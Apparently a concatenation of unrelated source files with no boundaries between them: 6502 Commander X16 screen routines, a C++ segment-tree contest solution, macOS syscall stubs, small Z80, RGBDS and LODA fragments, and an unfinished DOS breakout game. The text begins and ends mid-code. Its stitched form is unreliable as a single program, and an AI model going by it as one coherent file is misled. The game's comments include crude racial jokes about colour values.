sta r0+3 lda #OP_RTS sta r0+4 ; Jump to the code in ZP that was just copied there by the code above. ; This is to get the return address stored on stack jsr r0 ; Get current PC value sec sbc #*-2 ; Calculate start of our program sta @base ; And store it in @base tya sbc #$00 sta @base+1 lda @base ; Calculate location of first address in clc ; jump table adc #$03 sta @ptr lda @base+1 adc #$00 sta @ptr+1 ldy #1 ; .Y used for indexing high byte of pointers lda (@ptr),y beq @loop ; If high byte of pointer is 0, we can continue rts ; Otherwise initialization has already been run @loop: lda (@ptr) ; Check if lowbyte of address is 0 bne + ; If not, we have not reached end of jumptable lda (@ptr),y ; Chech if highbyte of address is 0 beq @end ; If it is, we have reaced end of jumptable + clc lda (@ptr) ; Low part of jumptable address adc @base ; Add start address of our program to the jumptable address sta (@ptr) lda (@ptr),y adc @base+1 sta (@ptr),y +ADD3 @ptr ; (add 3 to current value) bra @loop @end: rts ; ***************************************************************************** ; Use KERNAL API to set screen to 80x60 or 40x30 or swap between them. ; ***************************************************************************** ; INPUT: .A = Screenmode ($00, $02 or $FF) ; USES: .A, .X & ,Y ; RETURNS: .C = 1 in case of error. ; ***************************************************************************** vtui_screen_set: cmp #0 beq @doset ; If 0, we can set mode cmp #$02 beq @doset ; If 2, we can set mode cmp #$FF bne @end ; If $FF, we can set mode @doset: jsr $FF5F ; screen_set_mode X16 kernal API call. @end: rts ; ***************************************************************************** ; Set VERA bank (High memory) without touching anything else ; ***************************************************************************** ; INPUTS: .C = Bank number, 0 or 1 ; USES: .A ; ***************************************************************************** vtui_set_bank: lda VERA_ADDR_H bcc @setzero ; Bank = 1 ora #$01 bra @end @setzero: ; Bank = 0 and #$FE @end: sta VERA_ADDR_H rts ; ***************************************************************************** ; Set the stride without changing other values in VERA_ADDR_H ; ***************************************************************************** ; INPUT: .A = Stride value ; USES: r0l ; ***************************************************************************** vtui_set_stride: @tmp = r0l asl ; Stride is stored in upper nibble asl asl asl sta @tmp lda VERA_ADDR_H ; Set stride value to 0 in VERA_ADDR_H and #$0F ora @tmp sta VERA_ADDR_H rts ; ***************************************************************************** ; Set the decrement value without changing other values in VERA_ADDR_H ; ***************************************************************************** ; INPUT: .C (1 = decrement, 0 = increment) ; USES: .A ; ***************************************************************************** vtui_set_decr: lda VERA_ADDR_H bcc @setnul ora #%00001000 bra @end @setnul: and #%11110111 @end: sta VERA_ADDR_H rts ; ***************************************************************************** ; Write character and possibly color to current VERA address ; If VERA stride = 1 and decrement = 0, colorcode in X will be written as well. ; ***************************************************************************** ; INPUTS: .A = character ; .X = bg-/fg-color ; USES: .A ; ***************************************************************************** vtui_plot_char: sta VERA_DATA0 ; Store character lda VERA_ADDR_H ; Isolate stride & decr value cmp #$10 ; If stride=1,decr=0&bank=0 we can write color bne + stx VERA_DATA0 ; Write color + rts ; ***************************************************************************** ; Read character and possibly color from current VERA address ; If VERA stride = 1 and decrement = 0, colorcode will be returned in X ; ***************************************************************************** ; OUTPUS: .A = character ; .X = bg-/fg-color ; USES .X ; ***************************************************************************** vtui_scan_char: ldx VERA_DATA0 ; Read character lda VERA_ADDR_H ; Isolate stride & decr value cmp #$10 ; If stride=1 & decr=0 we can read color bne + txa ; Move char to .A ldx VERA_DATA0 ; Read color rts + txa ; Move char to .A rts ; ***************************************************************************** ; Create a horizontal line going from left to right. ; ***************************************************************************** ; INPUTS: .A = Character to use for drawing the line ; .Y = Length of the line ; .X = bg- & fg-color ; USES: .Y & 1 byte on stack ; ***************************************************************************** vtui_hline: @loop: sta VERA_DATA0 pha ; Save .A so it can be used to check stride lda VERA_ADDR_H cmp #$10 ; If Stride=1, Decr=0 & VRAM ADDR bit 16=0 bne + ; we can write the color stx VERA_DATA0 + pla ; Restore .A dey bne @loop rts ; ***************************************************************************** ; Create a vertical line going from top to bottom. ; Function only works when stride is either 1 or 2 and both decr and bank = 0 ; ***************************************************************************** ; INPUTS: .A = Character to use for drawing the line ; .Y = Height of the line ; .X = bg- & fg-color (if stride=1) ; USES: Y & 1 byte on stack ; ***************************************************************************** vtui_vline: sta VERA_DATA0 ; Write character pha ; Save .A so it can be used to check stride lda VERA_ADDR_H cmp #$10 ; Store color if stride=1,decr=0&bank=0 bne + stx VERA_DATA0 ; Store colorcode + dec VERA_ADDR_L ; Return to original X coordinate dec VERA_ADDR_L inc VERA_ADDR_M ; Increment Y coordinate pla ; Restore .A for next iteration dey bne vtui_vline rts ; ***************************************************************************** ; Set VERA address to point to specific point on screen ; ***************************************************************************** ; INPUTS: .A = x coordinate ; .Y = y coordinate ; ***************************************************************************** vtui_gotoxy: sty VERA_ADDR_M ; Set y coordinate asl ; Multiply x coord with 2 for correct coordinate sta VERA_ADDR_L ; Set x coordinate rts ; ***************************************************************************** ; Convert PETSCII codes between $20 and $5F to screencodes. ; ***************************************************************************** ; INPUTS: .A = character to convert ; OUTPUS: .A = converted character or $56 if invalid input ; ***************************************************************************** vtui_pet2scr: cmp #$20 bcc @nonprintable ; .A < $20 cmp #$40 bcc @end ; .A < $40 means screen code is the same ; .A >= $40 - might be letter cmp #$60 bcs @nonprintable ; .A < $60 so it is a letter, subtract ($3F+1) sbc #$3F ; to convert to screencode rts @nonprintable: lda #$56 @end: rts ; ***************************************************************************** ; Convert screencodes between $00 and $3F to PETSCII. ; ***************************************************************************** ; INPUTS: .A = character to convert ; OUTPUS: .A = converted character or $76 if invalid input ; ***************************************************************************** vtui_scr2pet: cmp #$40 bcs @nonprintable ; .A >= $40 cmp #$20 bcs @end ; .A >=$20 & < $40 means petscii is the same ; .A < $20 and is a letter adc #$40 rts @nonprintable: lda #$76 @end: rts ; ***************************************************************************** ; Print PETSCII/Screencode string. ; ***************************************************************************** ; INPUTS .A = Convert string (0 = Convert from PETSCII, $80 = no conversion) ; r0 = pointer to string ; .Y = length of string ; .X = bg-/fg color (only used if stride=0,decr=0&bank=0) ; USES: .A, .Y & r1 ; ***************************************************************************** vtui_print_str: @str = r0 @conv = r1l @length = r1h sta @conv ; Store to check for conversion sty @length ; Store Y for later use ; Calculate the jumptable addresses of functions needed by this ; routine. It is done by having a JSR instead of a JMP in the ; jumptable which means that the jumptable address of this function ; is pushed on to the stack. This in turn can be used to calculate ; jumptable addresses of other functions. lda #OP_JMP_ABS ; JMP absolute sta PLOT_CHAR sta PET2SCR pla ; Get low part of address and save i .Y tay sec sbc #(PSTR-PLCH)+2 ; Caculate low jumptable address of PLOT_CHAR sta PLOT_CHAR+1 pla ; Get high part of address and store in stack again pha sbc #$00 ; Calculate high jumptable addr of PLOT_CHAR sta PLOT_CHAR+2 tya ; Get low part of address clc adc #(P2SC-PSTR)-2 ; Calculate low jumptable address of PET2SCR sta PET2SCR+1 pla ; Get high part of address adc #$00 ; Calculate high jumptable addr of PET2SCR sta PET2SCR+2 ldy #0 @loop: cpy @length beq @end lda (@str),y ; Load character bit @conv ; Check if we need to convert character bmi @noconv jsr PET2SCR ; Do conversion @noconv: jsr PLOT_CHAR iny bra @loop ; Get next character @end: rts ; ***************************************************************************** ; Clear the entire screen with specific character and color ; ***************************************************************************** ; INPUTS: .A = Character to use for filling ; .X = bg- & fg-color ; USES: .Y, r1l & r2l ; ***************************************************************************** vtui_clr_scr: @width = r1l @height = r2l stz VERA_ADDR_M ; Ensure VERA address is at top left corner stz VERA_ADDR_L ldy #80 ; Store max width = 80 columns sty @width ldy #60 ; Store max height = 60 lines sty @height ; this falls through to vtui_fill_box ; ***************************************************************************** ; Create a filled box drawn from top left to bottom right ; ***************************************************************************** ; INPUTS: .A = Character to use for drawing the line ; r1l = Width of box ; r2l = Height of box ; .X = bg- & fg-color ; ***************************************************************************** vtui_fill_box: @width = r1l @height = r2l @xcord = r0l ldy VERA_ADDR_L sty @xcord @vloop: ldy @xcord ; Load x coordinate sty VERA_ADDR_L ; Set x coordinate ldy @width @hloop: sta VERA_DATA0 stx VERA_DATA0 dey bne @hloop inc VERA_ADDR_M dec @height bne @vloop rts ; ***************************************************************************** ; Create a box with a specific border ; ***************************************************************************** ; INPUTS: .A = Border mode (0-6) any other will default to mode 0 ; r1l = width ; r2l = height ; .X = bg-/fg-color ; USES .Y, r0, r1h & r2h ; ***************************************************************************** vtui_border: ; Define local variable names for ZP variables ; Makes the source a bit more readable @xcord = r0l @ycord = r0h @width = r1l @height = r2l @top_right = r3l @top_left = r3h @bot_right = r4l @bot_left = r4h @top = r5l @bottom = r5h @left = r6l @right = r6h ; Set the border drawing characters according to the border mode in .A @mode1: cmp #1 bne @mode2 lda #$66 bra @def @mode2: cmp #2 bne @mode3 lda #$6E sta @top_right lda #$70 sta @top_left lda #$7D sta @bot_right lda #$6D sta @bot_left @clines: lda #$40 ; centered lines sta @top sta @bottom lda #$42 sta @left sta @right bra @dodraw @mode3: cmp #3 bne @mode4 lda #$49 sta @top_right lda #$55 sta @top_left lda #$4B sta @bot_right lda #$4A sta @bot_left bra @clines @mode4: cmp #4 bne @mode5 lda #$50 sta @top_right lda #$4F sta @top_left lda #$7A sta @bot_right lda #$4C sta @bot_left @elines: lda #$77 ; lines on edges sta @top lda #$6F sta @bottom lda #$74 sta @left lda #$6A sta @right bra @dodraw @mode5: cmp #5 bne @mode6 lda #$5F sta @top_right lda #$69 sta @top_left lda #$E9 sta @bot_right lda #$DF sta @bot_left bra @elines @mode6: cmp #6 beq @dodraw ; Assume border chars are already set @default: lda #$20 @def: sta @top_right sta @top_left sta @bot_right sta @bot_left sta @top sta @bottom sta @left sta @right @dodraw: ; Find jumptable address of needed functions lda #OP_JMP_ABS ; JMP absolute sta PLOT_CHAR sta HLINE sta VLINE pla ; Get low part of address and save i .Y tay sec sbc #(BORD-PLCH)+2 ; Caculate low jumptable address of PLOT_CHAR sta PLOT_CHAR+1 pla ; Get high part of address and store in stack again pha sbc #$00 ; Calculate high jumptable addr of PLOT_CHAR sta PLOT_CHAR+2 tya ; Get low part of address sec sbc #(BORD-HLIN)+2 ; Calculate low jumptable address of HLINE sta HLINE+1 pla ; Get high part of address and store in stack again pha sbc #$00 ; Calculate high jumptable addr of HLINE sta HLINE+2 tya ; Get low part of address sec sbc #(BORD-VLIN)+2 ; Calculate low jumptable address of VLINE sta VLINE+1 pla sbc #$00 sta VLINE+2 ; Save initial position lda VERA_ADDR_L ; X coordinate sta @xcord lda VERA_ADDR_M ; Y coordinate sta @ycord ldy @width ; width dey lda @top_left jsr PLOT_CHAR ; Top left corner dey lda @top jsr HLINE ; Top line lda @top_right jsr PLOT_CHAR ; Top right corner dec VERA_ADDR_L dec VERA_ADDR_L inc VERA_ADDR_M ldy @height ;height dey dey lda @right jsr VLINE ; Right line ; Restore initial VERA address lda @xcord sta VERA_ADDR_L lda @ycord inc sta VERA_ADDR_M ldy @height ;height dey lda @left jsr VLINE ; Left line dec VERA_ADDR_M lda @bot_left jsr PLOT_CHAR ; Bottom left corner ldy @width dey lda @bottom jsr HLINE ; Bottom line dec VERA_ADDR_L dec VERA_ADDR_L lda @bot_right jsr PLOT_CHAR ; Bottom right corner rts ; ***************************************************************************** ; Copy contents of screen from current position to other memory area in ; either system RAM or VRAM ; ***************************************************************************** ; INPUTS: .C = VRAM Bank (0 or 1) if .A=$80 ; .A = Destination RAM (0=system RAM, $80=VRAM) ; r0 = Destination address ; r1l = width ; r2l = height ; USES: r1h ; ***************************************************************************** vtui_save_rect: @destram = r1h @width = r1l @height = r2l @destptr = r0 ldy VERA_ADDR_L ; Save X coordinate for later sta @destram ; Save destination RAM 0=sys $80=vram bit @destram bpl @skip_vram_prep lda #1 ; Set ADDRsel to 1 sta VERA_CTRL ; Set stride and bank for VERA_DATA1 lda #$11 ; Stride=1 & Bank = 1 bcs @storeval ; If C=1, store value lda #$10 ; Stride=1 & Bank = 0 @storeval: sta VERA_ADDR_H ; Set destination address for VERA_DATA1 lda @destptr sta VERA_ADDR_L lda @destptr+1 sta VERA_ADDR_M stz VERA_CTRL ; Set ADDRsel back to 0 @skip_vram_prep: ldx @width ; Load width @loop: lda VERA_DATA0 ; Load character bit @destram bmi @sto_char_vram sta (@destptr) +INC16 @destptr bra @get_col @sto_char_vram: sta VERA_DATA1 @get_col: lda VERA_DATA0 ; Load color code bit @destram bmi @sto_col_vram sta (@destptr) +INC16 @destptr bra @cont @sto_col_vram: sta VERA_DATA1 @cont: dex bne @loop ldx @width ; Restore width sty VERA_ADDR_L ; Restore X coordinate inc VERA_ADDR_M dec @height bne @loop rts ; ***************************************************************************** ; Restore contents of screen from other memory area in either system RAM ; or VRAM starting at current position ; ***************************************************************************** ; INPUTS: .C = VRAM Bank (0 or 1) if .A=$80 ; .A = Source RAM (0=system RAM, $80=VRAM) ; r0 = Source address ; r1l = width ; r2l = height ; ***************************************************************************** vtui_rest_rect: @srcram = r1h @width = r1l @height = r2l @srcptr = r0 ldy VERA_ADDR_L ; Save X coordinate for later sta @srcram ; Save source RAM 0=sys $80=vram bit @srcram bpl @skip_vram_prep lda #1 ; Set ADDRsel to 1 sta VERA_CTRL ; Set stride and bank for VERA_DATA1 lda #$11 ; Stride=1 & Bank = 1 bcs @storeval ; If C=1, store value lda #$10 ; Stride=1 & Bank = 0 @storeval: sta VERA_ADDR_H ; Set source address for VERA_DATA1 lda @srcptr sta VERA_ADDR_L lda @srcptr+1 sta VERA_ADDR_M stz VERA_CTRL ; Set ADDRsel back to 0 @skip_vram_prep: ldx @width ; Load width @loop: bit @srcram bmi @cpy_char_vram lda (@srcptr) ; Copy char from sysram +INC16 @srcptr bra @sto_char @cpy_char_vram: lda VERA_DATA1 ; Copy char from VRAM @sto_char: sta VERA_DATA0 ; Store char to screen bit @srcram bmi @cpy_col_vram lda (@srcptr) ; Copy color from sysram +INC16 @srcptr bra @sto_col @cpy_col_vram: lda VERA_DATA1 ; Copy color from VRAM @sto_col: sta VERA_DATA0 ; Store color to screen @cont: dex bne @loop ldx @width ; Restore width sty VERA_ADDR_L ; Restore X coordinate inc VERA_ADDR_M dec @height bne @loop rts ; ***************************************************************************** ; Show a cursor and get a string input from keyboard. ; ***************************************************************************** ; INPUTS: r0 = pointer to buffer to hold string (must be pre-allocated) ; .Y = maximum length of string ; .X = color information for input characters ; OUPUTS: .Y = actual length of input ; USES: .A & r1 ; ***************************************************************************** vtui_input_str: @ptr = r0 @length = r1l @invcol = r1h sty @length ; Store maximum length lda #$A0 ; Show a "cursor" sta VERA_DATA0 stx VERA_DATA0 dec VERA_ADDR_L dec VERA_ADDR_L ldy #0 @inputloop: phx phy jsr $FFE4 ; Read keyboard input ply plx cmp #$0D ; If RETURN has been pressed, we exit beq @end cmp #$14 ; We need to handle backspace bne @istext cpy #0 ; If .Y is 0, we can not delete beq @inputloop ; Here we need to handle backspace dey lda #' ' ; Delete cursor sta VERA_DATA0 lda VERA_ADDR_L ; Go 2 chars back = 4 bytes sbc #3 sta VERA_ADDR_L lda #$A0 ; Overwrite last char with cursor sta VERA_DATA0 dec VERA_ADDR_L bra @inputloop @istext: cpy @length beq @inputloop ; If .Y = @length, we can not add character sta (@ptr),y ; Store char in buffer cmp #$20 ; If < $20, we can not use it bcc @inputloop cmp #$40 ; If < $40 & >= $20, screencode is equal to petscii bcc @stvera cmp #$60 ; If > $60, we can not use it bcs @inputloop sbc #$3F ; When .A >= $40 & < $60, subtract $3F to get screencode @stvera: sta VERA_DATA0 ; Write char to screen with colorcode stx VERA_DATA0 lda #$A0 ; Write cursor sta VERA_DATA0 stx VERA_DATA0 dec VERA_ADDR_L ; Set VERA to point at cursor dec VERA_ADDR_L iny ; Inc .Y to show a char has been added bra @inputloop @end: lda #' ' sta VERA_DATA0 stx VERA_DATA0 rts
#include<bits/stdc++.h> #include<unistd.h> using namespace std; #define FZ(n) memset((n),0,sizeof(n)) #define FMO(n) memset((n),-1,sizeof(n)) #define MC(n,m) memcpy((n),(m),sizeof(n)) #define F first #define S second #define MP make_pair #define PB push_back #define ALL(x) begin(x),end(x) #define SZ(x) ((int)(x).size()) #define IOS ios_base::sync_with_stdio(0); cin.tie(0) // Let's Fight! const int MX = 300006; struct Node { int mn, lazy; }tree[MX*4]; int N, Q; char str[MX]; set<int> lbra, rbra; int sum[MX]; void init(int l, int r, int id) { tree[id] = {0, 0}; if (l == r) { tree[id].mn = sum[l]; return ; } int mid = (l+r)/2, lc = id*2+1, rc = id*2+2; init(l, mid, lc); init(mid+1, r,rc); tree[id].mn = min(tree[lc].mn, tree[rc].mn); } void push(int id) { int &val = tree[id].lazy; if (!val) return ; int lc = id*2+1, rc = id*2+2; tree[lc].mn += val; tree[lc].lazy += val; tree[rc].mn += val; tree[rc].lazy += val; val = 0; } void update(int l, int r, int fl, int fr, int v, int id) { if (l == fl && r == fr) { tree[id].mn += v; tree[id].lazy += v; return ; } push(id); int mid = (l+r)/2, lc = id*2+1, rc = id*2+2; if (fr <= mid) update(l, mid, fl, fr, v, lc); else if (mid < fl) update(mid+1, r, fl, fr, v, rc); else { update(l, mid, fl, mid, v, lc); update(mid+1, r, mid+1, fr, v, rc); } tree[id].mn = min(tree[lc].mn, tree[rc].mn); } int query(int l, int r, int fl, int fr, int id) { if (l == fl && r == fr) { return tree[id].mn; } push(id); int mid = (l+r)/2, lc = id*2+1, rc = id*2+2; if (fr <= mid) return query(l, mid, fl, fr, lc); if (mid < fl) return query(mid+1, r, fl, fr, rc); return min(query(l, mid, fl, mid, lc), query(mid+1, r, mid+1, fr, rc)); } int main() { IOS; cin >> N >> Q; cin >> &str[1]; sum[0] = 0; for (int i=1; i<=N; i++) { if (str[i] == '(') { lbra.insert(i); sum[i] = sum[i-1] + 1; } else { rbra.insert(i); sum[i] = sum[i-1] - 1; } } init(1, N, 0); while (Q--) { int v; cin >> v; if (str[v] == '(') { str[v] = ')'; lbra.erase(v); rbra.insert(v); update(1, N, v, N, -2, 0); int ans = *rbra.begin(); cout << ans << "\n"; str[ans] = '('; rbra.erase(ans); lbra.insert(ans); update(1, N, ans, N, 2, 0); } else { int l = 1, r = v+1; str[v] = '('; rbra.erase(v); lbra.insert(v); update(1, N, v, N, 2, 0); while (l < r) { int mid = (l + r) / 2; if (query(1, N, mid, v, 0) <= 1) l = mid+1; else r = mid; } int ans = l; cout << ans << "\n"; str[ans] = ')'; lbra.erase(ans); rbra.insert(ans); update(1, N, ans, N, -2, 0); } } return 0; }
; syscall for macOS 64bit section .bss putchar_buf resb 1 getchar_buf resb 1 section .text stdio_init: ret stdio_write: ; rsi:buffer rdx:len of buffer push rax push rdi mov rdi, 1 ; fd = stdout mov rax, 0x2000004 ; syscall 4: write syscall pop rdi pop rax ret stdio_read: ; rsi:buffer rdx:len of buffer push rax push rdi mov rdi, 0 ; fd = stdin mov rax, 0x2000003 ; syscall 3: read syscall pop rdi pop rax ret stdio_exit: ; rdi: exitcode mov rax, 0x2000001 ; syscall 1: exit syscall ret
SECTION FRAGMENT "output", ROM0 X: db X db 1 assert WARN, X == 0
; size_t wv_priority_queue_max_size(wv_priority_queue_t *q) SECTION code_adt_wv_priority_queue PUBLIC wv_priority_queue_max_size defc wv_priority_queue_max_size = asm_wv_priority_queue_max_size INCLUDE "adt/wv_priority_queue/z80/asm_wv_priority_queue_max_size.asm"
; A167193: a(n) = (1/3)*(1 - (-2)^n + 3*(-1)^n ) = (-1)^(n+1)*A167030(n). ; 1,0,0,2,-4,10,-20,42,-84,170,-340,682,-1364,2730,-5460,10922,-21844,43690,-87380,174762,-349524,699050,-1398100,2796202,-5592404,11184810,-22369620,44739242,-89478484,178956970,-357913940,715827882,-1431655764,2863311530,-5726623060,11453246122,-22906492244,45812984490,-91625968980,183251937962,-366503875924,733007751850,-1466015503700,2932031007402,-5864062014804,11728124029610,-23456248059220,46912496118442,-93824992236884,187649984473770,-375299968947540,750599937895082,-1501199875790164,3002399751580330,-6004799503160660 mov $4,2 lpb $0,1 sub $0,1 mul $2,2 mul $3,$2 cmp $4,1 mul $2,$4 sub $2,1 add $3,1 mov $1,$3 div $1,2 mul $1,2 lpe mul $1,2 add $4,6 add $1,$4 sub $1,6 div $1,2
IDEAL MODEL small STACK 100h DATASEG ; -------------------------- filename db 'pic.bmp', 0 filename3 db 'pic4.bmp', 0 filename2 db 'pic2.bmp', 0 filename1 db 'pic1.bmp',0 filehandle dw ? Header db 54 dup (0) Palette db 256*4 dup (0) ScrLine db 320 dup (0) ErrorMsg db 'Error', 13, 10,'$' padmov dw 0 speedx dw 1 speedy dw -2 timeadder dw 2 note dw 1387 ; 860 / 131 -> (hex) x dw 0 Clock equ es:6Ch y dw 0 savekey db 0 count dw 0 tempx dw 0 ballminy dw 0 ballmaxy dw 0 padminx dw 0 padmaxx dw 0 savedcolor db 0 pady dw 185 ballx dw 0 bally dw 0 ballrightx dw 0 balltopy dw 0 balldowny dw 0 ballleftx dw 0 ballmiddlex dw 0 balltempy dw 0 balltempx dw 0 counter dw 10 timerspeed dw 12 cubcolor dw 0 linecounter dw 0 gamewinbol dw 0 gameoverbol dw 0 brickcounter dw 0 destroyedbricks dw 0 lifecounter dw 3 lifeleft3 db 10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10," lifes left : 3$" lifeleft2 db 13,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10," lifes left : 2$" lifeleft1 db 13,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10," lifes left : 1$" secounter dw 0 milisecounter dw 0 startx dw 0 starty dw 0 cheatx dw -1 cheaty dw 0 wallbol dw 0 speedbol dw 0 brickbol dw 0 speed db " speed:$" dollar db 3 dup ('$') fasterbol dw 0 slowbol dw 0 fastestball dw 2 keybol dw 1 ; -------------------------- CODESEG proc OpenFile ;taken from gavhim website ; Open file mov ah, 3Dh xor al, al mov dx, offset filename1 int 21h jc openerror mov [filehandle], ax ret openerror: mov dx, offset ErrorMsg mov ah, 9h int 21h ret endp OpenFile proc OpenFile1 ;taken from gavhim website ; Open file mov ah, 3Dh xor al, al mov dx, offset filename int 21h jc openerror1 mov [filehandle], ax ret openerror1: mov dx, offset ErrorMsg mov ah, 9h int 21h ret endp OpenFile1 proc OpenFile2 ;taken from gavhim website ; Open file mov ah, 3Dh xor al, al mov dx, offset filename2 int 21h jc openerror2 mov [filehandle], ax ret openerror2: mov dx, offset ErrorMsg mov ah, 9h int 21h ret endp OpenFile2 proc OpenFile3 ;taken from gavhim website ; Open file mov ah, 3Dh xor al, al mov dx, offset filename3 int 21h jc openerror3 mov [filehandle], ax ret openerror3: mov dx, offset ErrorMsg mov ah, 9h int 21h ret endp OpenFile3 proc ReadHeader ;taken from gavhim website ; Read BMP file header, 54 bytes mov ah,3fh mov bx, [filehandle] mov cx,54 mov dx,offset Header int 21h ret endp ReadHeader proc ReadPalette ;taken from gavhim website ; Read BMP file color palette, 256 colors * 4 bytes (400h) mov ah,3fh mov cx,400h mov dx,offset Palette int 21h ret endp ReadPalette proc CopyPal ;taken from gavhim website ; Copy the colors palette to the video memory ; The number of the first color should be sent to port 3C8h ; The palette is sent to port 3C9h mov si,offset Palette mov cx,256 mov dx,3C8h mov al,0 ; Copy starting color to port 3C8h out dx,al ; Copy palette itself to port 3C9h inc dx PalLoop: ; Note: Colors in a BMP file are saved as BGR values rather than RGB. mov al,[si+2] ; Get red value. shr al,2 ; Max. is 255, but video palette maximal ; value is 63. Therefore dividing by 4. out dx,al ; Send it. mov al,[si+1] ; Get green value. shr al,2 out dx,al ; Send it. mov al,[si] ; Get blue value. shr al,2 out dx,al ; Send it. add si,4 ; Point to next color. ; (There is a null chr. after every color.) loop PalLoop ret endp CopyPal proc CopyBitmap ;taken from gavhim website ; BMP graphics are saved upside-down. ; Read the graphic line by line (200 lines in VGA format), ; displaying the lines from bottom to top. mov ax, 0A000h mov es, ax mov cx,200 PrintBMPLoop: push cx ; di = cx*320, point to the correct screen line mov di,cx shl cx,6 shl di,8 add di,cx ; Read one line mov ah,3fh mov cx,320 mov dx,offset ScrLine int 21h ; Copy one line into video memory cld ; Clear direction flag, for movsb mov cx,320 mov si,offset ScrLine rep movsb ; Copy line to the screen ;rep movsb is same as the following code: ;mov es:di, ds:si ;inc si ;inc di ;dec cx ;loop until cx=0 pop cx loop PrintBMPLoop ret endp CopyBitmap proc ball;print 5px*5px ball mov cx, [ballx] mov [balltempx], cx add cx, 5 mov [ballrightx], cx sub cx, 6 mov [ballleftx], cx mov cx, [bally] mov [balltempy], cx mov [balltopy], cx add cx, 5 mov [balldowny], cx mov cx, [ballx] inc cx mov [ballmiddlex], cx mov ah, 0ch xor bx, bx mov cx, 5 nextballline: push cx cmp cx, 5 je ballmaker cmp cx, 1 je ballmaker mov cx, [ballx] dec cx mov [tempx], cx mov cx, [bally] inc cx mov [bally], cx mov cx, 5 jmp balline ballmaker: mov cx, [ballx] mov [tempx], cx mov cx, [bally] inc cx mov [bally], cx mov cx, 3 balline: push cx mov cx, [tempx] mov dx, [bally] int 10h inc cx mov [tempx], cx pop cx loop balline pop cx loop nextballline ret endp ball proc bricks mov bx, 0 mov dx, -1 ;generate random number mov ax, 40h mov es, ax mov ax, [clock] and al, 255 mov [savedcolor] ,al mov cx, 5 ;k=5 for normal mov [linecounter], cx cubscreen: ;print k lines of cubes push cx mov [savedcolor], al add al, cl dec al inc dx mov [y], dx mov dx, -1 mov [x], dx mov cx, 8 cubline: ;print one line of cubes push cx dec al ;checks for unwanted colors cmp al, 222 ja secondblack cmp al, 8 je gray cmp al, 7 je gray cmp al, 0 je black cmp al, 15 jae whit jmp next101 ;223-255 are black secondblack: mov al, 222 jmp next101 ;15-31 are black too no racist whit: cmp al, 32 jae next101 add al, 17 jmp next101 ;gray is bad gray: mov al, 6 jmp next101 ;if you are 0 you are black black: mov al, 12 next101: inc [brickcounter] call cube pop cx loop cubline pop cx mov [savedcolor], al loop cubscreen ret endp bricks proc cube mov ah, 0ch xor bx, bx mov cx, 40 cub: ; print cube push cx mov cx, 10 mov dx, [x] inc dx mov [x], dx mov dx, [y] prp: ;print pixels in a line push cx mov cx, [x] int 10h inc dx ;y pop cx loop prp pop cx loop cub ret endp cube proc finalcheck mov bx, 0 mov dx, -1 mov cx, 0 mov [destroyedbricks], cx mov cx, [linecounter] cubscreen2: ;print k lines of cubes push cx inc dx mov [y], dx mov dx, -1 mov [x], dx mov cx, 8 cubline2: ;print one line of cubes push cx mov ah, 0dh xor bx, bx mov cx, [x] mov [startx], cx mov cx, [y] mov [starty], cx mov cx, 40 cub2: ; print cube push cx mov cx, 10 mov dx, [x] inc dx mov [x], dx mov dx, [y] prp2: ;print pixels in a line push cx mov cx, [x] int 10h cmp al, 0 je stoploop inc dx ;y pop cx loop prp2 pop cx loop cub2 jmp nextloop stoploop: pop cx pop cx mov cx, [startx] mov [x], cx mov cx, [starty] mov [y], cx mov al, 0 call cube inc [destroyedbricks] nextloop: pop cx loop cubline2 pop cx loop cubscreen2 ret endp finalcheck proc printboard mov ax, [x] mov [padminx], ax mov al, 14 mov ah, 0ch mov dx, [pady] mov cx, 48 prpb: ;print line push cx mov cx, [x] int 10h inc cx mov [x], cx pop cx loop prpb mov ax, [x] mov [padmaxx], ax ret endp printboard proc cls mov ax, 13h int 10h ret endp cls proc Beep ;plays a beep when the ball lands on the paddle (uses ax) ;taken from gavhim website ; open speaker in al, 61h or al, 00000011b out 61h, al ; send control word to change frequency mov al, 0B6h out 43h, al ; play frequency 860Hz mov ax, [note] out 42h, al ; Sending lower byte mov al, ah out 42h, al ; Sending upper byte ; wait for any key mov cx, 8 beeeeeeeeeeeeep: push cx call keycheck call delayproc pop cx loop beeeeeeeeeeeeep ; close the speaker in al, 61h and al, 11111100b out 61h, al endp beep proc paintcorrection mov ah, 0dh mov cx, 0 mov [x], cx mov [savedcolor], cl mov dx, [pady] mov cx, 319 mispaint: ;check for miss painted areas push cx mov cx, [x] int 10h inc cx mov [x], cx cmp al, [savedcolor] jne potantialymissed jmp lop potantialymissed: int 10h cmp al, [savedcolor] jne lop mov ah, 0ch dec cx int 10h mov ah, 0dh lop: mov [savedcolor], al pop cx loop mispaint ret endp paintcorrection proc keycheck waitforkey: in al, 64h cmp al, 10b je fin in al, 60h ;check what key is pressed cmp al, 1 je fin mov cx, [padmaxx] cmp cx, 317 jae checkforleft mov cx, [padminx] cmp cx, 3 jbe checkforright checkforleft: cmp al, 1eh je left mov cx, [padmaxx] cmp cx, 317 jae fin checkforright: cmp al, 20h je right fin: ret left: ;move the paddle to the left xor bx, bx mov [padmov], bx mov dx, [pady] mov ah, 0ch mov al, 14 mov cx, [padminx] sub cx, 4 mov [padminx], cx mov [x], cx mov cx, 4 paintleft: push cx mov cx, [x] int 10h inc cx mov [x], cx pop cx loop paintleft mov al, 0 mov cx, [padmaxx] sub cx, 4 mov [padmaxx], cx mov [x], cx mov cx, 4 jmp delright delright: push cx mov cx, [x] int 10h inc cx mov [x], cx pop cx loop delright call paintcorrection ret right: ;move the paddle to the right mov ax, 1 mov [padmov], ax mov dx, [pady] mov ah, 0ch mov al, 0 mov cx, [padminx] add cx, 4 mov [padminx], cx mov [x], cx mov cx, 4 delleft: push cx mov cx, [x] int 10h dec cx mov [x], cx pop cx loop delleft mov al, 14 mov cx, [padmaxx] mov [x], cx add cx, 4 mov [padmaxx], cx mov [x], cx mov cx, 4 paintright: push cx mov cx, [x] int 10h dec cx mov [x], cx pop cx loop paintright call paintcorrection ret endp keycheck proc delball mov cx, [balltempy] mov [bally], cx mov cx, [balltempx] mov [ballx], cx mov al, 0 call ball; delete the ball before ret endp delball proc timeiskey mov cx, [timerspeed] thekey: push cx call delayproc call keycheck inc [milisecounter] pop cx loop thekey cmp [milisecounter], 70 jae countsec ret countsec: mov [milisecounter], 0 inc [secounter] ret endp timeiskey proc addtoball cmp [speedY], 0;if the y speed is higher then 0 it means the ball is moving down jge addtodown ;else 